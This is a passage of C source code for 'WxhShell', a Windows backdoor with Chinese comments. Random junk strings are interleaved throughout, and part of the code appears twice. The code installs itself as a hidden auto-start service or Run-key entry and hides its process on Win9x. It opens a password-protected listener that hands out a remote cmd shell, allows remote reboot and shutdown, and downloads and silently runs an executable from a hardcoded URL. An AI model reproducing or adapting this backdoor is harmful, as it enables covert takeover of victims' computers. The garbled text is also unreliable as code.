2)$e ULONG UniqueProcessId; S'@"a%EV ULONG InheritedFromUniqueProcessId; kT$4X0} } PROCESS_BASIC_INFORMATION; H>7!+&M SiBbz4 PROCNTQSIP NtQueryInformationProcess; 2! 6Kzq y mE`V static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; VR:b1XWX static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; _SFD}w3b$ g<lX Xj2 HANDLE hProcess; }bnkTC PROCESS_BASIC_INFORMATION pbi; mMjVbeh[ `UJW:qqW HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); e5XikLu if(NULL == hInst ) return 0; 1b!l+ 8! cEQa 6 g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); [c W g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); #&5\1Qu NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); r=[}7N 9=}/t9k if (!NtQueryInformationProcess) return 0; /6.b>|zF JWdG?[$ hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); /nmfp&@ if(!hProcess) return 0; +es6c') %4-pw|': if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; hBqu,A #62ww-E~ CloseHandle(hProcess); T
a[74;VO @"EX%v. hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ;yXnPAtJ if(hProcess==NULL) return 0;
<?7~,#AK X'F$K!o*,: HMODULE hMod; Uh8ieb char procName[255]; 7>mYD3 unsigned long cbNeeded; ,Z^GN%Q7a V9bLm,DtT if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); }wb;ulN) 1`AE] CloseHandle(hProcess); DtS{iH=s] A3$b_i @P if(strstr(procName,"services")) return 1; // 以服务启动 MtB:H*pM _
o(h]G1]. return 0; // 注册表启动 a[!d)Y:zx } ;7A,'y4f "O
'I // 主模块 ;C<A} int StartWxhshell(LPSTR lpCmdLine) n)H0;25L { )K6{_~Kc\ SOCKET wsl; '[E_7$d BOOL val=TRUE; xr2:bu int port=0; }<S2W\,G struct sockaddr_in door; LYFvzw>M -XyuA:pxx if(wscfg.ws_autoins) Install(); H}~^,B2; OE"Bb port=atoi(lpCmdLine); *Wa u7 M:$nL if(port<=0) port=wscfg.ws_port; }.vy|^X s#fmGe"8 WSADATA data; 9|m L if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; X[ (J!"+ ]]ZBG<# if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;
5~F0'tb|} setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); !R@4tSu door.sin_family = AF_INET; f*~fslY,o door.sin_addr.s_addr = inet_addr("127.0.0.1"); Ye6O!,R door.sin_port = htons(port); *~L]n4- y_&XF>k91 if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { lTP02|eK closesocket(wsl); i5" q1dRQ return 1; O5?Eb } B=r/(e . gJKr if(listen(wsl,2) == INVALID_SOCKET) { "lZ<bG
closesocket(wsl); &O,$l3 P return 1; `ahXn } VLN3x.BY Wxhshell(wsl); J|IDnCK WSACleanup(); WGx>{'LJ %R>S" return 0; v],DBw9 buXG32; } IycxRig eV0S:mit // 以NT服务方式启动 h6N}sLM{0 VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) W!X]t)Ow { R.T-Pt ene DWORD status = 0; '[^2uQc DWORD specificError = 0xfffffff; V1`|j B_2>Yt" serviceStatus.dwServiceType = SERVICE_WIN32; 2A|6o*s" serviceStatus.dwCurrentState = SERVICE_START_PENDING; ={'($t%|T serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; )}!'VIe^! serviceStatus.dwWin32ExitCode = 0; GcCs}(eo serviceStatus.dwServiceSpecificExitCode = 0; \[EWxu serviceStatus.dwCheckPoint = 0; |lwN!KVQ, serviceStatus.dwWaitHint = 0; =[+&({ X~3P?O]kFv hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); oZ[ w if (hServiceStatusHandle==0) return; E | :<8V2 status = GetLastError(); ie5ijkxZ( if (status!=NO_ERROR) ?/MXcI( { ;@
X serviceStatus.dwCurrentState = SERVICE_STOPPED; ]#.&f]6l serviceStatus.dwCheckPoint = 0; qXGLv4c`Q serviceStatus.dwWaitHint = 0; 0 _}89:- serviceStatus.dwWin32ExitCode = status; E}/|Lja serviceStatus.dwServiceSpecificExitCode = specificError; 6CRPdLTDf SetServiceStatus(hServiceStatusHandle, &serviceStatus); EsB'nf r return; 2(//slP } $yFuaqG`Wo KocXSh U serviceStatus.dwCurrentState = SERVICE_RUNNING; {WOfT6y+ serviceStatus.dwCheckPoint = 0; G5J ZB7C serviceStatus.dwWaitHint = 0; %esZ}U if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); (1j$*?iGA } L"6/"L $ _Bu,; // 处理NT服务事件,比如:启动、停止 /
i2-h VOID WINAPI NTServiceHandler(DWORD fdwControl) u>6/_^iq { F5[ITK]A4 switch(fdwControl) ^>{;9lo< { VDjIs UUX case SERVICE_CONTROL_STOP: +/86w59 serviceStatus.dwWin32ExitCode = 0; 1|w:xG^ serviceStatus.dwCurrentState = SERVICE_STOPPED; ?Hxgx serviceStatus.dwCheckPoint = 0; q.[[c serviceStatus.dwWaitHint = 0; A!Ct,%
{ k]9> V@C SetServiceStatus(hServiceStatusHandle, &serviceStatus); *js$r+4 } W?J[K;< return; S_VncTIO case SERVICE_CONTROL_PAUSE: -f|^}j? serviceStatus.dwCurrentState = SERVICE_PAUSED; B2qq C-hw? break; .r%|RWs6W case SERVICE_CONTROL_CONTINUE: S&]<;N_B serviceStatus.dwCurrentState = SERVICE_RUNNING; '/gwC7*-& break; hcc-J)=m case SERVICE_CONTROL_INTERROGATE: N/{Yi
_n break; dS_)ll.6z }; k:)u7A+ SetServiceStatus(hServiceStatusHandle, &serviceStatus); Mv`L F } ||ZufFO zRE8299%z // 标准应用程序主函数 UA4d|^ev int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 4?M3#],'h { Xb:BIp!e fA0=Y,pzv // 获取操作系统版本 JgKZ;GM:W OsIsNt=GetOsVer(); NV(4wlh)y GetModuleFileName(NULL,ExeFile,MAX_PATH); eEGcio}_I9 ,W8Iabi^ // 从命令行安装 C*6)Ut ' if(strpbrk(lpCmdLine,"iI")) Install(); y&=19A# "M0l; // 下载执行文件 k+r9h'd if(wscfg.ws_downexe) { cPaWJ+c if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) lrX0c$) WinExec(wscfg.ws_filenam,SW_HIDE); 't?7.#,6O } ~G:2iSi(# v[DbhIXU if(!OsIsNt) { *[~o~e/YCb // 如果时win9x,隐藏进程并且设置为注册表启动 qq7X",s HideProc(); \ j X N*A StartWxhshell(lpCmdLine); |-Esc|J( } LI;Efy L else
~
9~\f if(StartFromService()) xP6?e s` // 以服务方式启动 JrWBcp:Y StartServiceCtrlDispatcher(DispatchTable); jo3}]KC ! else pH l2!{z // 普通方式启动 I&fh StartWxhshell(lpCmdLine); po2[uJ /j69NEl return 0; l(w vQO } 4zfRD`; aGk%I U;Ll.BFP grxl{uIC8 =========================================== P:,
x?T?J^ T\
}v$A03 eQaxZMU LSu^#B >"<k8wn 46P6Bwobh " 69j~?w)^ &<|-> *v #include <stdio.h> FJ(B]n[> #include <string.h> [+MX$y #include <windows.h> Q$h:[_v #include <winsock2.h> mV*/zWh_ #include <winsvc.h> 8u'O`j #include <urlmon.h> =6:L +V T<e7(= #pragma comment (lib, "Ws2_32.lib") 6+B{4OY #pragma comment (lib, "urlmon.lib") "(\)
&G jy(+
0F #define MAX_USER 100 // 最大客户端连接数 mh#FYSp #define BUF_SOCK 200 // sock buffer KA-/k@1& #define KEY_BUFF 255 // 输入 buffer J1]w*2 N>pmhskN? #define REBOOT 0 // 重启 H1%[\X?= #define SHUTDOWN 1 // 关机 g;!@DVF$ "ryk\}*< #define DEF_PORT 5000 // 监听端口 ^L-w(r62< #;"D)C #define REG_LEN 16 // 注册表键长度 :IR9=nhS] #define SVC_LEN 80 // NT服务名长度 $S=~YzO Ph#F<e(9 // 从dll定义API p;u 1{ typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ./&zO{|0] typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ,s><kHJ typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 'uKkl(==% typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); %t`SSW7I ZG@M%|> // wxhshell配置信息 VwOG?5W/ struct WSCFG { T4~`e_ int ws_port; // 监听端口 Q1nDl char ws_passstr[REG_LEN]; // 口令 hP1
l v7P int ws_autoins; // 安装标记, 1=yes 0=no w &|R5Q char ws_regname[REG_LEN]; // 注册表键名 mo;)0Vq2l char ws_svcname[REG_LEN]; // 服务名 ^K.u
~p char ws_svcdisp[SVC_LEN]; // 服务显示名 phgexAq char ws_svcdesc[SVC_LEN]; // 服务描述信息 6vgBqn[ char ws_passmsg[SVC_LEN]; // 密码输入提示信息 5`E`Kb+@ int ws_downexe; // 下载执行标记, 1=yes 0=no '{0[&i* char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" &(1H!
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 5K ,#4EOV IObx^N_K }; _}e7L7B7g fzS`dL5,W // default Wxhshell configuration mGe|8In struct WSCFG wscfg={DEF_PORT, @1qdd~B} "xuhuanlingzhe", 9:%n=U Rd 1, `D)Lzm R "Wxhshell", ,]Ro',A& "Wxhshell", }{5mH: "WxhShell Service", wMz-U- z "Wrsky Windows CmdShell Service", v0Ai!# "Please Input Your Password: ", iIsEQh 1, ;n}
>C' : "http://www.wrsky.com/wxhshell.exe", (rr}Pv%yb "Wxhshell.exe" Gg9VS&VI }; @q&|MMLt ?L@@;tt // 消息定义模块 WDEe$k4. char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 4O`6h)!NQ char *msg_ws_prompt="\n\r? for help\n\r#>"; l801`~*gO char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; cGE=. char *msg_ws_ext="\n\rExit."; Z6Nj<2u2 char *msg_ws_end="\n\rQuit.";
(A29ZH char *msg_ws_boot="\n\rReboot..."; -!J2x8Ri char *msg_ws_poff="\n\rShutdown..."; W}XYmF*_? char *msg_ws_down="\n\rSave to "; `l>93A -=$% { char *msg_ws_err="\n\rErr!"; d/B'[Ur char *msg_ws_ok="\n\rOK!"; _)KY dh^+l;!L char ExeFile[MAX_PATH]; IV{FH&t^T" int nUser = 0; [dj5$l| HANDLE handles[MAX_USER]; u R\m` int OsIsNt; PMgQxM*h %M{k.FE( SERVICE_STATUS serviceStatus; Mlv<r=E SERVICE_STATUS_HANDLE hServiceStatusHandle; )?w&oIj5 g.x=pt // 函数声明 2yN%~C?$ int Install(void); U_}7d"<| ? int Uninstall(void); _+twqi int DownloadFile(char *sURL, SOCKET wsh); r8uqcKfU int Boot(int flag); ,0!uem}1i void HideProc(void); J3B6X 8P' int GetOsVer(void); +
<Z+- int Wxhshell(SOCKET wsl); Z-)[1+Hs void TalkWithClient(void *cs); tTotPPZf} int CmdShell(SOCKET sock); YywEZ?X int StartFromService(void); ],8;eq%W) int StartWxhshell(LPSTR lpCmdLine); `gBD_0<T7 fO].e"} VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ]7a;jNQu VOID WINAPI NTServiceHandler( DWORD fdwControl ); [6D>f?z FU%~9NKX // 数据结构和表定义 I4)Nb WQ SERVICE_TABLE_ENTRY DispatchTable[] = ?75\>NiR { dQ: ?<zZ {wscfg.ws_svcname, NTServiceMain}, K7IyCcdB {NULL, NULL} Kb}MF9?:e }; K~c^*;F 6Wj@r!u // 自我安装 JE0?@PI$ int Install(void) x6LjcRS| { KNy`Lj)VPY char svExeFile[MAX_PATH]; Hu[]h] HKEY key; 3bWum strcpy(svExeFile,ExeFile); xE%O:a?S OI+E
(nA // 如果是win9x系统,修改注册表设为自启动 n`]l^qE if(!OsIsNt) { 81Z4>F: if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ?>sQF4 V" RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
Dk6?Nwy" RegCloseKey(key); (nLKQV 1 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { tG/aH% 4S RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ?^|QiuU:n RegCloseKey(key);
LI[ ?~P2\ return 0; JwZ?hc } TfJL+a0 } kLJlS,nh\r } wG+=}1X else { o]A XT8 ;Xqn-R // 如果是NT以上系统,安装为系统服务 d7* CwY9" SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Yi 6Nw+$ if (schSCManager!=0) Rho5s@N 7 { @0$}?2 SC_HANDLE schService = CreateService C` pp ( qNpu}\L schSCManager, N[pZIH5ho= wscfg.ws_svcname, 5.wiTy wscfg.ws_svcdisp, lr WLN SERVICE_ALL_ACCESS, 34SA~5 SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , [g#s&bF SERVICE_AUTO_START, sxo;/~.p SERVICE_ERROR_NORMAL, u+i (";\ svExeFile, lX"b N=E?! NULL, sTkIR5Z NULL, <
kz[:n: NULL, jo)6
%w] NULL, i3\~Qj;1 NULL cf)J ) ); t:>x\V2m if (schService!=0) y_*n9
)Ct { 8W;2oQN7 CloseServiceHandle(schService); Zd[OWF CloseServiceHandle(schSCManager); nTs/Q V strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); i2*d+?Er strcat(svExeFile,wscfg.ws_svcname); V$(/0mQV( if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { , ;%yf? RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); iX%[YQ | RegCloseKey(key); lV\lj@ return 0; 6UlF5pom } UFe(4]^ } [Eu]; CloseServiceHandle(schSCManager); ltoqtB\s } r0\?WoF2C } '<7S^^ax
O}C)~GU return 1; ,^ 7 CP } zie=2 <W*xshn // 自我卸载 g` [` P@ int Uninstall(void) 7S<UFj { X D) 8? HKEY key; zI^Da!r. L]I3P|y_ if(!OsIsNt) { cD2+hp|9 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { &Yf",KcL*I RegDeleteValue(key,wscfg.ws_regname); n_P3\Y| RegCloseKey(key); qaG# ; if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { f"Vgefk RegDeleteValue(key,wscfg.ws_regname); A " S/^< RegCloseKey(key); h*3{6X#(/ return 0; ;#&fgj } -f9]v9|l } UQI
f}iR } MS*G-C else { Q`A6(y/s? @*(4dt:V SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); OP%?dh] if (schSCManager!=0) T 6Ctf# { &cu!Hx SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ,gMy@ if (schService!=0) (#|{%4g@> { rk|a5-i if(DeleteService(schService)!=0) { fxgU~' CloseServiceHandle(schService); \G>ZkgU CloseServiceHandle(schSCManager); iY~rne"l return 0; ,PECYwegkt } lZWK2 CloseServiceHandle(schService); Qf
xH9_ } ,a0pAj CloseServiceHandle(schSCManager); ;Lo&}U3F,! } HI`q1m. } dlD ki. ufrqsv]= return 1; Bu3T/m } KKEN'-3 >o~Z>lr // 从指定url下载文件 \?Mf _ int DownloadFile(char *sURL, SOCKET wsh) [h&BAR/ 2 { c*;7yh&% HRESULT hr; %}&(h/= e char seps[]= "/"; S&(^<gwl char *token; ^$-Ye]< char *file; r?A|d.Tl char myURL[MAX_PATH]; G[h(xp?,l char myFILE[MAX_PATH]; :!Ig- +W l-Nly>~ strcpy(myURL,sURL); iev>9j token=strtok(myURL,seps); Bs8[+Ft5 while(token!=NULL) g%a|q~) { |0.Xl+7 file=token; r-IT(DzkD token=strtok(NULL,seps); s-*._; } 4woO;Gm l!
v!hUb+ GetCurrentDirectory(MAX_PATH,myFILE); S~NM\[S strcat(myFILE, "\\"); }]+xFj9[> strcat(myFILE, file); yGj.)$1},@ send(wsh,myFILE,strlen(myFILE),0); ;o-yQmdh send(wsh,"...",3,0); xHo&[{ hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Pc_VY>Ty if(hr==S_OK) JObMZA$ return 0; 2c(aO[%h9 else Jblj^n?Bm return 1; A8DFm{})c 3yA2WW } ,v9f~qh 7N=-Y>$X // 系统电源模块 R Oc`BH= int Boot(int flag) -#s [F S { j_cs;G: " HANDLE hToken; U@F)2? TOKEN_PRIVILEGES tkp; "TS H'= (` if(OsIsNt) { +jP~s OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); WYrI |^[> LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 6#e::GD tkp.PrivilegeCount = 1; ',I0ih#Ls tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; '5KeL3J; AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 3c3OG.H$8 if(flag==REBOOT) { XYEv&-M`?w if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) [10zTU` return 0; T=Z.TG|lIx } mXzrEI else { hk>;pU( if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 9`Q<Yy"du return 0; -&2B@]] } 'gso'&Uaj } uz30_aH else { 5W? v'" if(flag==REBOOT) { ,*I@ if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) gI]GUD- return 0; qe$^q } ciQZHH2 else { ^|MjJsn if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Q{g;J`Z)p return 0; Tr&M~Lgb) } 2aN<w'pA } U/l?>lOD\ BX+.0M
return 1; g'$tj&Vk: } ?sz)J3 dt}_D={Be // win9x进程隐藏模块 Zw1U@5}A void HideProc(void) ^P'{U26 { 'x"08v$ !h[VUg_8 HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); &opd2 if ( hKernel != NULL ) n(seNp%_ { c]-*P7W pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); )!BsF'uVQ ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); SQ*k =4*r FreeLibrary(hKernel); 4LH[4Yj?` } e4>"92hX *hLQ return; {LHR!~d}5f } (~~w7L
s "es?= // 获取操作系统版本 4NN$( S-W int GetOsVer(void) 7nq3S { <S75($ OSVERSIONINFO winfo; ikD1N winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); [BBEEI=|r GetVersionEx(&winfo); *Lqg=9kzr if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 7JJ/D4uT return 1; wIB`%V else I
pzJ# return 0; (6l+lru[ } Cqii} RwI[R)k // 客户端句柄模块 gD`>Twa&6 int Wxhshell(SOCKET wsl) WYB{% yf { Isy'{-H
SOCKET wsh; 7{@l%jx][ struct sockaddr_in client; ($w@Z/; DWORD myID; ~Nf})U 66x?A0P while(nUser<MAX_USER) $$APgj"|< {
HB+|WW t> int nSize=sizeof(client); 4(6b(]G'# wsh=accept(wsl,(struct sockaddr *)&client,&nSize); PO:"B6 if(wsh==INVALID_SOCKET) return 1; W14F ,GWNLm\5 handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); k3?rp`V1 if(handles[nUser]==0) ;W>Cqg= closesocket(wsh); c~QS9)=E else =OIw*L8C"I nUser++; qy)_wM } BrRL7xX WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); K~=UUB sJwyj D$b return 0; /sM~Uq? } AfeCK1mC @ @%k}FL=:t( // 关闭 socket GdV1^`M6 void CloseIt(SOCKET wsh) ~Tbj=f { 4P^6oh0" closesocket(wsh); (C4fG@n nUser--; Lip4)Y [ ExitThread(0); ,p(<+6QZ } 76hOB@ 3rLTF\ // 客户端请求句柄 `w I /0 void TalkWithClient(void *cs) !Z
VU,b> { )i+2X5B`S `qJw|u>YpJ SOCKET wsh=(SOCKET)cs; !EUan char pwd[SVC_LEN]; sf&]u;^DY char cmd[KEY_BUFF]; V%$/#sza char chr[1]; -*5Rnx|Y{ int i,j; .920{G?l5 bR@p<;G| while (nUser < MAX_USER) { ]smkTo/ qC
F5~;7 if(wscfg.ws_passstr) { [Nn`l, if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); }neY<{z //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); c'/l,k //ZeroMemory(pwd,KEY_BUFF); C8FB:JNJV i=0; __mF?m while(i<SVC_LEN) { (/35pg6\ @gY)8xMbA // 设置超时 lHgs;>U$ fd_set FdRead; quY:pqG38q struct timeval TimeOut; MSf;ZB FD_ZERO(&FdRead); df7wN#kO+ FD_SET(wsh,&FdRead); N F)~W# TimeOut.tv_sec=8; dOa%9[ TimeOut.tv_usec=0; jKt7M>P int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Eke5Nb if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 2-Y<4'> jLg9H/w{ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); A}eOFu`
pwd=chr[0]; *_>Lmm.yh if(chr[0]==0xd || chr[0]==0xa) { vWAL^?HUP pwd=0; @)J+,tg/7 break; M4as } f^W;A"+ i++; 9(QJT}qC } j?'GZ d"B .W js~0c // 如果是非法用户,关闭 socket H;RwO@v if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); "AE5
V' } Omd .9 ]+X@
7 send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); t.mVO]dsj send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); -GxaV #{ B}^w_C2 while(1) { Hh+ 2mkg eM8}X[ ZeroMemory(cmd,KEY_BUFF); <)1qt
9 dAuJXGo // 自动支持客户端 telnet标准 82l~G;.n3 j=0; Bve.C
while(j<KEY_BUFF) { HTG%t/S if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ~3<>
3p cmd[j]=chr[0]; wmTb97o if(chr[0]==0xa || chr[0]==0xd) { d3xmtG {i cmd[j]=0; F6z%VWU break; ;+ "+3 } V:y'Qf2M j++; F w?[lS } `nu''B
H Ofs<EQ // 下载文件 $< JaLS if(strstr(cmd,"http://")) { 9 AJ(&qY( send(wsh,msg_ws_down,strlen(msg_ws_down),0); <7~'; K if(DownloadFile(cmd,wsh)) 3W
N@J6? send(wsh,msg_ws_err,strlen(msg_ws_err),0); q@{Bt{$x else GWfL send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 5 sX+~Q } zolt$p else { 7j-4TY~ {tWf switch(cmd[0]) { ^~etm ')cMiX\v // 帮助 9iQq.$A . case '?': { F%RRd/' send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); |!4K!_y break; o4Om}]Ti } c24dSNJg, // 安装 ln6d<;
M5 case 'i': { g%=z_ if(Install()) iUN Ib send(wsh,msg_ws_err,strlen(msg_ws_err),0); qv!2MUw\j else Vh4X%b$TV send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); rbWP78 break; -Ps!LI{@ } *_d7E // 卸载 8A})V8 case 'r': { $|@
( if(Uninstall()) %V7at7>o send(wsh,msg_ws_err,strlen(msg_ws_err),0); n"c[,k+R`U else EFM5,gB.m send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Iy&!<r7:]0 break; ,
K~}\CR } ZQV6xoN;r // 显示 wxhshell 所在路径 J cd- case 'p': { =c\>(2D char svExeFile[MAX_PATH]; =%TWX[w strcpy(svExeFile,"\n\r"); 9dx/hFA strcat(svExeFile,ExeFile); )
b (B send(wsh,svExeFile,strlen(svExeFile),0); <eWf< break; ZbdZrE$ } X4~y7 // 重启 b0Ps5G\ u case 'b': { 3`DQo%< send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); g,!L$,/F if(Boot(REBOOT)) VAHh~Q6 ;e send(wsh,msg_ws_err,strlen(msg_ws_err),0); a.k.n< else { u0`S5? closesocket(wsh); yPb" V ExitThread(0); z7fp#>uw } \!.B+7t=I break; UM"- nZ>[ } 6a~|K-a6 // 关机 inMA:x}cF1 case 'd': { +~ P2C6@G send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); -(;26\lE if(Boot(SHUTDOWN)) <h0?tv] send(wsh,msg_ws_err,strlen(msg_ws_err),0); A P?R"% else { &w_j/nW^' closesocket(wsh); YJT&{jYi ExitThread(0); ~:s>aQ`! } L>Fa^jq5 break; L
[pBB } 4V)kx[j // 获取shell TNe l/ case 's': { KJ)k =mJ CmdShell(wsh); ,is3&9 closesocket(wsh); EE06h-n s ExitThread(0); #A JDWelD break; RbOUfD(J4 } }C"%p8=HM // 退出 V^bwXr4f case 'x': { ?BeiY zg send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); .ypL=~Rp CloseIt(wsh); T $ >&[f$6 break; ?]_$Dcmx } iL-(O;n // 离开 vc;$-v$& case 'q': { KQ!8ks] send(wsh,msg_ws_end,strlen(msg_ws_end),0); )Q&(f/LT closesocket(wsh); Z&+ g;(g WSACleanup(); /[
5gX^A exit(1); On9A U:\ break; 6*78cg Io } FXG]LoP } "c%0P"u } BLQ 6A< o,\$ZxSlm // 提示信息 pP&7rRhw if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); hd%Fnykq } l*Gvf_UH } )l C)@H} c <B/V0] return; _7Ju } itt3.:y S6Q // shell模块句柄 -">;-3,K int CmdShell(SOCKET sock) u5`u>.! { -:+|zF@f STARTUPINFO si; 6jD=F ^jw ZeroMemory(&si,sizeof(si)); r=
`Jn6@ si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; PbJ(:`u si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; we//|fA< PROCESS_INFORMATION ProcessInfo; [6Izlh+D char cmdline[]="cmd"; q_[o"wq/ CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ]nn98y+ return 0; !Iy_UfW } V(I8=rVH $Vg>I>i // 自身启动模式 EU/C@B2*Dl int StartFromService(void) C_}]`[ { {H>gtpVy typedef struct mp1@|*Sn { F]O`3e=! DWORD ExitStatus; Cw3a0u DWORD PebBaseAddress; GY'%+\*tj DWORD AffinityMask; Ko<:Z)PS DWORD BasePriority; U)o-8OEZ9 ULONG UniqueProcessId; jp%S3) ULONG InheritedFromUniqueProcessId; `KoV_2| } PROCESS_BASIC_INFORMATION; "<N*"euH 8b&/k8i: PROCNTQSIP NtQueryInformationProcess; VPJElRSH w,.TTTad static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; e8a+2.!&\ static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Z"xvh81P Di6 ?[(8 HANDLE hProcess; S&wMrQ PROCESS_BASIC_INFORMATION pbi; WaRw05r 03X1d- HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); i>`%TW:g if(NULL == hInst ) return 0; X'Xx"M (=AWOU+ g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); W:2( .? g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); kiaw4_ NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Ty?cC** z2~til if (!NtQueryInformationProcess) return 0; /{g>nzP kS);xA8s] hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); L~OvY if(!hProcess) return 0; b{&)6M)zo M'O <h if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ?dg[:1R} Se}c[|8 CloseHandle(hProcess); j3V
